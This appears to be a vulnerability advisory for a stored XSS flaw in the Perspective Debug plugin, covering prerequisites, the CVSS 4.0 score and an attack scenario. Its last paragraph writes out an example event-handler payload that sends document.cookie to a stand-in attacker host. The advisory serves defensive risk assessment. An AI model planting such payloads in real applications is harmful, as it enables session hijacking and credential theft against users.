Perspective EUVD-2026-52693

The Debug plugin must be enabled and accessible to the attacker's victim within the deployed Perspective application - this is a non-default production configuration since the Debug plugin is a development/diagnostic component. The attacker requires low-privilege authenticated access (PR:L per CVSS 4.0) sufficient to write or influence table cell values that the Debug plugin will render. A victim user with access to the Debug plugin view must passively interact with the component (UI:P) - viewing the table output is sufficient to trigger execution, no additional click required once the page loads. Exploitation is limited by: (1) requirement for attacker write access to table data, (2) requirement for a victim to view the Debug plugin output, (3) the Debug plugin being present in the production build and accessible to users. Applications that exclude the Debug plugin from production builds or restrict it to administrator-only access are not exploitable under normal conditions.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N, score 5.1) correctly captures the attack shape: network-reachable, low complexity, low privileges needed, passive user interaction required, with impact limited to the subsequent (embedding) system's integrity and confidentiality at low severity. The PR:L metric is critical - exploitation requires the attacker to have write access to table data surfaced in the Debug plugin, which in most deployments means an authenticated session or a role that can submit data. The UI:P (passive interaction) requirement means a victim user must view the Debug plugin output, not just visit the application. No EPSS data was provided; no KEV listing exists, indicating no confirmed widespread exploitation. However, a public proof-of-concept is confirmed (christbowel.com blog), which meaningfully narrows the skill bar for exploitation. Real-world risk is moderate for applications that expose the Debug plugin to untrusted users or untrusted data sources. Organizations that restrict the Debug plugin to internal/admin use only face substantially lower risk. The absence of direct system impact (VC:N/VI:N/VA:N) reflects that the primary damage is session hijacking, credential theft, or DOM-based defacement of the embedding page - not server-side compromise.

An attacker with a low-privilege account in a Perspective-based analytics application submits a table row containing an HTML payload such as a cell value with an unquoted event handler attribute (e.g., a string that becomes an injected attribute like onmouseover=fetch('https://attacker.tld/?c='+document.cookie)) via the application's normal data input path. When an analyst or administrator opens the Debug plugin view to inspect table contents, the cell value is written to innerHTML without escaping, causing the payload to execute in the analyst's browser session at the embedding page's origin, enabling session token theft or further DOM manipulation. A public proof-of-concept demonstrating this technique is available at christbowel.com, reducing the skill requirement for exploitation.